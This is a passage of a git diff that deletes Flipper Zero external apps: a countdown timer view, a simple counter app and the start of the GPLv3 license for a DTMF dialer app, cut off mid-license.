- parse_sec_to_time_str(buffer, sizeof(buffer), count);
- canvas_draw_str_aligned(
- canvas, SCREEN_CENTER_X, SCREEN_CENTER_Y, AlignCenter, AlignCenter, buffer);
-
- elements_progress_bar(canvas, 0, 0, SCREEN_WIDTH, (1.0 * count / expected_count));
-}
-
-// keys input event callback, CountDownTimView as ctx
-static bool countdown_timer_view_on_input(InputEvent* event, void* ctx) {
- furi_assert(ctx);
-
- CountDownTimView* hw = (CountDownTimView*)ctx;
-
- if(event->type == InputTypeShort || event->type == InputTypeRepeat) {
- switch(event->key) {
- case InputKeyUp:
- case InputKeyDown:
- case InputKeyRight:
- case InputKeyLeft:
- handle_time_setting_select(event->key, hw);
- break;
-
- case InputKeyOk:
- if(event->type == InputTypeShort) {
- handle_misc_cmd(hw, CountDownTimerToggleCounting);
- }
- break;
- case InputKeyBack:
- return false;
- break;
-
- default:
- break;
- }
-
- return true;
- }
-
- if(event->type == InputTypeLong) {
- switch(event->key) {
- case InputKeyOk:
- handle_misc_cmd(hw, CountDownTimerReset);
- break;
-
- case InputKeyBack:
- return false;
- break;
-
- default:
- break;
- }
-
- return true;
- }
-
- return false;
-}
-
-static void timer_cb(void* ctx) {
- furi_assert(ctx);
-
- CountDownTimView* cdv = (CountDownTimView*)ctx;
-
- int32_t count;
- bool timeup = false;
-
- // decrement counter
- with_view_model(
- cdv->view,
- CountDownModel * model,
- {
- count = model->count;
- count--;
-
- // check timeup
- if(count <= 0) {
- count = 0;
- timeup = true;
- }
-
- model->count = count;
- },
- true);
-
- if(timeup) {
- handle_misc_cmd(cdv, CountDownTimerTimeUp);
- }
-}
-
-static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd) {
- int32_t count;
-
- with_view_model(
- cdv->view,
- CountDownModel * model,
- {
- count = model->count;
- switch(cmd) {
- case CountDownTimerMinuteUp:
- count += 60;
- break;
- case CountDownTimerMinuteDown:
- count -= 60;
- break;
- case CountDownTimerHourDown:
- count -= 3600;
- break;
- case CountDownTimerHourUp:
- count += 3600;
- break;
- case CountDownTimerSecUp:
- count++;
- break;
- case CountDownTimerSecDown:
- count--;
- break;
- default:
- break;
- }
-
- if(count < 0) {
- count = 0;
- }
-
- // update count state
- model->count = count;
-
- // save the count time setting
- model->saved_count_setting = count;
- },
- true);
-}
-
-static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd) {
- switch(cmd) {
- case CountDownTimerTimeUp:
- notification_timeup();
- break;
-
- case CountDownTimerReset:
- furi_timer_stop(hw->timer);
- countdown_timer_view_state_reset(hw);
- notification_off();
-
- break;
-
- case CountDownTimerToggleCounting:
- countdown_timer_state_toggle(hw);
- break;
-
- default:
- break;
- }
-
- return;
-}
-
-static void handle_time_setting_select(InputKey key, CountDownTimView* cdv) {
- bool counting = cdv->counting;
- CountDownViewCmd setting_cmd = CountDownTimerSecUp;
- CountDownViewSelect selection;
-
- if(counting) {
- return;
- }
-
- // load current selection from model context
- with_view_model(
- cdv->view, CountDownModel * model, { selection = model->select; }, false);
-
- // select
- switch(key) {
- case InputKeyUp:
- switch(selection) {
- case CountDownTimerSelectSec:
- setting_cmd = CountDownTimerSecUp;
- break;
- case CountDownTimerSelectMinute:
- setting_cmd = CountDownTimerMinuteUp;
- break;
- case CountDownTimerSelectHour:
- setting_cmd = CountDownTimerHourUp;
- break;
- }
-
- handle_time_setting_updown(cdv, setting_cmd);
- break;
-
- case InputKeyDown:
- switch(selection) {
- case CountDownTimerSelectSec:
- setting_cmd = CountDownTimerSecDown;
- break;
- case CountDownTimerSelectMinute:
- setting_cmd = CountDownTimerMinuteDown;
- break;
- case CountDownTimerSelectHour:
- setting_cmd = CountDownTimerHourDown;
- break;
- }
-
- handle_time_setting_updown(cdv, setting_cmd);
- break;
-
- case InputKeyRight:
- selection--;
- selection = selection % 3;
- break;
-
- case InputKeyLeft:
- selection++;
- selection = selection % 3;
- break;
-
- default:
- break;
- }
-
- // save selection to model context
- with_view_model(
- cdv->view, CountDownModel * model, { model->select = selection; }, false);
-}
-
-static void draw_selection(Canvas* canvas, CountDownViewSelect selection) {
- switch(selection) {
- case CountDownTimerSelectSec:
- elements_slightly_rounded_box(canvas, SCREEN_CENTER_X + 25, SCREEN_CENTER_Y + 11, 24, 2);
- break;
- case CountDownTimerSelectMinute:
- elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 10, SCREEN_CENTER_Y + 11, 21, 2);
- break;
- case CountDownTimerSelectHour:
- elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 47, SCREEN_CENTER_Y + 11, 24, 2);
- break;
- }
-}
-
-static void countdown_timer_start_counting(CountDownTimView* cdv) {
- furi_timer_start(cdv->timer, furi_kernel_get_tick_frequency() * 1); // 1s
-}
-
-static void countdown_timer_pause_counting(CountDownTimView* cdv) {
- furi_timer_stop(cdv->timer);
- notification_off();
-}
\ No newline at end of file
diff --git a/applications/external/cntdown_timer/views/countdown_view.h b/applications/external/cntdown_timer/views/countdown_view.h
deleted file mode 100644
index ed8114f8e..000000000
--- a/applications/external/cntdown_timer/views/countdown_view.h
+++ /dev/null
@@ -1,59 +0,0 @@
-#ifndef __COUNTDOWN_VIEW_H__
-#define __COUNTDOWN_VIEW_H__
-
-#include
-#include
-#include
-#include
-
-#define SCREEN_WIDTH 128
-#define SCREEN_HEIGHT 64
-#define SCREEN_CENTER_X (SCREEN_WIDTH / 2)
-#define SCREEN_CENTER_Y (SCREEN_HEIGHT / 2)
-
-#define INIT_COUNT 10
-
-typedef enum {
- CountDownTimerMinuteUp,
- CountDownTimerMinuteDown,
- CountDownTimerSecDown,
- CountDownTimerSecUp,
- CountDownTimerHourUp,
- CountDownTimerHourDown,
- CountDownTimerReset,
- CountDownTimerTimeUp,
- CountDownTimerToggleCounting,
-} CountDownViewCmd;
-
-typedef enum {
- CountDownTimerSelectSec,
- CountDownTimerSelectMinute,
- CountDownTimerSelectHour,
-} CountDownViewSelect;
-
-typedef struct {
- int32_t count;
- int32_t saved_count_setting;
- CountDownViewSelect select; // setting
-} CountDownModel;
-
-typedef struct {
- View* view;
- FuriTimer* timer; // 1Hz tick timer
- bool counting;
-
-} CountDownTimView;
-
-// functions
-// allocate helloworld view
-CountDownTimView* countdown_timer_view_new();
-
-// delete helloworld view
-void countdown_timer_view_delete(CountDownTimView* cdv);
-
-// return view
-View* countdown_timer_view_get_view(CountDownTimView* cdv);
-
-void countdown_timer_view_state_reset(CountDownTimView* cdv); // set initial state
-void countdown_timer_state_toggle(CountDownTimView* cdv);
-#endif // __COUNTDOWN_VIEW_H__
\ No newline at end of file
diff --git a/applications/external/counter/application.fam b/applications/external/counter/application.fam
deleted file mode 100644
index b3ce43ecb..000000000
--- a/applications/external/counter/application.fam
+++ /dev/null
@@ -1,16 +0,0 @@
-App(
- appid="counter",
- name="Counter",
- apptype=FlipperAppType.EXTERNAL,
- entry_point="counterapp",
- requires=[
- "gui",
- ],
- fap_category="Tools",
- fap_icon="icons/counter_icon.png",
- fap_icon_assets="icons",
- fap_author="@Krulknul",
- fap_weburl="https://github.com/Krulknul/dolphin-counter",
- fap_version="1.1",
- fap_description="Simple counter",
-)
diff --git a/applications/external/counter/counter.c b/applications/external/counter/counter.c
deleted file mode 100644
index cbc0d9b80..000000000
--- a/applications/external/counter/counter.c
+++ /dev/null
@@ -1,109 +0,0 @@
-#include
-#include
-#include
-#include
-#include "counter_icons.h"
-#include
-
-#define MAX_COUNT 99
-#define BOXTIME 2
-#define BOXWIDTH 30
-#define MIDDLE_X 64 - BOXWIDTH / 2
-#define MIDDLE_Y 32 - BOXWIDTH / 2
-#define OFFSET_Y 9
-
-typedef struct {
- FuriMessageQueue* input_queue;
- ViewPort* view_port;
- Gui* gui;
- FuriMutex** mutex;
-
- int count;
- bool pressed;
- int boxtimer;
-} Counter;
-
-void state_free(Counter* c) {
- gui_remove_view_port(c->gui, c->view_port);
- furi_record_close(RECORD_GUI);
- view_port_free(c->view_port);
- furi_message_queue_free(c->input_queue);
- furi_mutex_free(c->mutex);
- free(c);
-}
-
-static void input_callback(InputEvent* input_event, void* ctx) {
- Counter* c = ctx;
- if(input_event->type == InputTypeShort) {
- furi_message_queue_put(c->input_queue, input_event, 0);
- }
-}
-
-static void render_callback(Canvas* canvas, void* ctx) {
- Counter* c = ctx;
- furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
- canvas_clear(canvas);
- canvas_set_color(canvas, ColorBlack);
- canvas_set_font(canvas, FontPrimary);
- canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignCenter, "Counter :)");
- canvas_set_font(canvas, FontBigNumbers);
-
- char scount[5];
- if(c->pressed == true || c->boxtimer > 0) {
- canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
- canvas_draw_rframe(
- canvas, MIDDLE_X - 1, MIDDLE_Y + OFFSET_Y - 1, BOXWIDTH + 2, BOXWIDTH + 2, 5);
- canvas_draw_rframe(
- canvas, MIDDLE_X - 2, MIDDLE_Y + OFFSET_Y - 2, BOXWIDTH + 4, BOXWIDTH + 4, 5);
- c->pressed = false;
- c->boxtimer--;
- } else {
- canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
- }
- snprintf(scount, sizeof(scount), "%d", c->count);
- canvas_draw_str_aligned(canvas, 64, 32 + OFFSET_Y, AlignCenter, AlignCenter, scount);
- furi_mutex_release(c->mutex);
-}
-
-Counter* state_init() {
- Counter* c = malloc(sizeof(Counter));
- c->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
- c->view_port = view_port_alloc();
- c->gui = furi_record_open(RECORD_GUI);
- c->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
- c->count = 0;
- c->boxtimer = 0;
- view_port_input_callback_set(c->view_port, input_callback, c);
- view_port_draw_callback_set(c->view_port, render_callback, c);
- gui_add_view_port(c->gui, c->view_port, GuiLayerFullscreen);
- return c;
-}
-
-int32_t counterapp(void) {
- Counter* c = state_init();
-
- while(1) {
- InputEvent input;
- while(furi_message_queue_get(c->input_queue, &input, FuriWaitForever) == FuriStatusOk) {
- furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
-
- if(input.key == InputKeyBack) {
- furi_mutex_release(c->mutex);
- state_free(c);
- return 0;
- } else if((input.key == InputKeyUp || input.key == InputKeyOk) && c->count < MAX_COUNT) {
- c->pressed = true;
- c->boxtimer = BOXTIME;
- c->count++;
- } else if(input.key == InputKeyDown && c->count != 0) {
- c->pressed = true;
- c->boxtimer = BOXTIME;
- c->count--;
- }
- furi_mutex_release(c->mutex);
- view_port_update(c->view_port);
- }
- }
- state_free(c);
- return 0;
-}
diff --git a/applications/external/counter/icons/counter_icon.png b/applications/external/counter/icons/counter_icon.png
deleted file mode 100644
index 47efe68db..000000000
Binary files a/applications/external/counter/icons/counter_icon.png and /dev/null differ
diff --git a/applications/external/dtmf_dolphin/LICENSE b/applications/external/dtmf_dolphin/LICENSE
deleted file mode 100644
index f288702d2..000000000
--- a/applications/external/dtmf_dolphin/LICENSE
+++ /dev/null
@@ -1,674 +0,0 @@
- GNU GENERAL PUBLIC LICENSE
- Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc.
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
- The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works. By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users. We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors. You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
- To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights. Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
- For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received. You must make sure that they, too, receive
-or can get the source code. And you must show them these terms so they
-know their rights.
-
- Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
- For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software. For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
- Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so. This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software. The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable. Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products. If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
- Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary. To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
- The precise terms and conditions for copying, distribution and
-modification follow.
-
- TERMS AND CONDITIONS
-
- 0. Definitions.
-
- "This License" refers to version 3 of the GNU General Public License.
-
- "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
- "The Program" refers to any copyrightable work licensed under this
-License. Each licensee is addressed as "you". "Licensees" and
-"recipients" may be individuals or organizations.
-
- To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy. The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
- A "covered work" means either the unmodified Program or a work based
-on the Program.
-
- To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy. Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
- To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies. Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
- An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License. If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
- 1. Source Code.
-
- The "source code" for a work means the preferred form of the work
-for making modifications to it. "Object code" means any non-source
-form of a work.
-
- A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
- The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form. A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
- The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities. However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work. For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
- The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
- The Corresponding Source for a work in source code form is that
-same work.
-
- 2. Basic Permissions.
-
- All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met. This License explicitly affirms your unlimited
-permission to run the unmodified Program. The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work. This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
- You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force. You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright. Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
- Conveying under any other circumstances is permitted solely under
-the conditions stated below. Sublicensing is not allowed; section 10
-makes it unnecessary.
-
- 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
- No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
- When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
- 4. Conveying Verbatim Copies.
-
- You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
- You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
- 5. Conveying Modified Source Versions.
-
- You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
- a) The work must carry prominent notices stating that you modified
- it, and giving a relevant date.
-
- b) The work must carry prominent notices stating that it is
- released under this License and any conditions added under section
- 7. This requirement modifies the requirement in section 4 to
- "keep intact all notices".
-
- c) You must license the entire work, as a whole, under this
- License to anyone who comes into possession of a copy. This
- License will therefore apply, along with any applicable section 7
- additional terms, to the whole of the work, and all its parts,
- regardless of how they are packaged. This License gives no
- permission to license the work in any other way, but it does not
- invalidate such permission if you have separately received it.
-
- d) If the work has interactive user interfaces, each must display
- Appropriate Legal Notices; however, if the Program has interactive
- interfaces that do not display Appropriate Legal Notices, your
- work need not make them do so.
-
- A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit. Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
- 6. Conveying Non-Source Forms.
-
- You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
- a) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by the
- Corresponding Source fixed on a durable physical medium
- customarily used for software interchange.
-
- b) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by a
- written offer, valid for at least three years and valid for as
- long as you offer spare parts or customer support for that product
- model, to give anyone who possesses the object code either (1) a
- copy of the Corresponding Source for all the software in the
- product that is covered by this License, on a durable physical
- medium customarily used for software interchange, for a price no
- more than your reasonable cost of physically performing this
- conveying of source, or (2) access to copy the
- Corresponding Source from a network server at no charge.
-
- c) Convey individual copies of the object code with a copy of the
- written offer to provide the Corresponding Source. This
- alternative is allowed only occasionally and noncommercially, and
- only if you received the object code with such an offer, in accord
- with subsection 6b.
-
- d) Convey the object code by offering access from a designated
- place (gratis or for a charge), and offer equivalent access to the
- Corresponding Source in the same way through the same place at no
- further charge. You need not require recipients to copy the
- Corresponding Source along with the object code. If the place to
- copy the object code is a network server, the Corresponding Source
- may be on a different server (operated by you or a third party)
- that supports equivalent copying facilities, provided you maintain
- clear directions next to the object code saying where to find the
- Corresponding Source. Regardless of what server hosts the
- Corresponding Source, you remain obligated to ensure that it is
- available for as long as needed to satisfy these requirements.
-
- e) Convey the object code using peer-to-peer transmission, provided
- you inform other peers where the object code and Corresponding
- Source of the work are being offered to the general public at no
- charge under subsection 6d.
-
- A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
-
- A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling. In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage. For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product. A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
- "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source. The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
-
- If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information. But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
-
- The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed. Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
-
- Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
-
- 7. Additional Terms.
-
- "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
-that they are valid under applicable law. If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
- When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it. (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.) You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
-
- Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
-
- a) Disclaiming warranty or limiting liability differently from the
- terms of sections 15 and 16 of this License; or
-
- b) Requiring preservation of specified reasonable legal notices or
- author attributions in that material or in the Appropriate Legal
- Notices displayed by works containing it; or
-
- c) Prohibiting misrepresentation of the origin of that material, or
- requiring that modified versions of such material be marked in
- reasonable ways as different from the original version; or
-
- d) Limiting the use for publicity purposes of names of licensors or
- authors of the material; or
-
- e) Declining to grant rights under trademark law for use of some
- trade names, trademarks, or service marks; or
-
- f) Requiring indemnification of licensors and authors of that
- material by anyone who conveys the material (or modified versions of
- it) with contractual assumptions of liability to the recipient, for
- any liability that these contractual assumptions directly impose on
- those licensors and authors.
-
- All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10. If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term. If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
-
- If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
-
- Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
-
- 8. Termination.
-
- You may not propagate or modify a covered work except as expressly
-provided under this License. Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
-
- However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
- Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
- Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License. If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
-
- 9. Acceptance Not Required for Having Copies.
-
- You are not required to accept this License in order to receive or
-run a copy of the Program. Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance. However,
-nothing other than this License grants you permission to propagate or
-modify any covered work. These actions infringe copyright if you do
-not accept this License. Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
-
- 10. Automatic Licensing of Downstream Recipients.
-
- Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License. You are not responsible
-for enforcing compliance by third parties with this License.
-
- An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations. If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
-
- You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License. For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
-
- 11. Patents.
-
- A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based. The
-work thus licensed is called the contributor's "contributor version".
-
- A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version. For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
-
- Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
-
- In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement). To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
-
- If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients. "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
-
- If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
-
- A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License. You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
-
- Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
-
- 12. No Surrender of Others' Freedom.
-
- If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License. If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all. For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
-
- 13. Use with the GNU Affero General Public License.
-
- Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work. The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
-
- 14. Revised Versions of this License.
-
- The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time. Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
- Each version is given a distinguishing version number. If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation. If the Program does not specify a version number of the
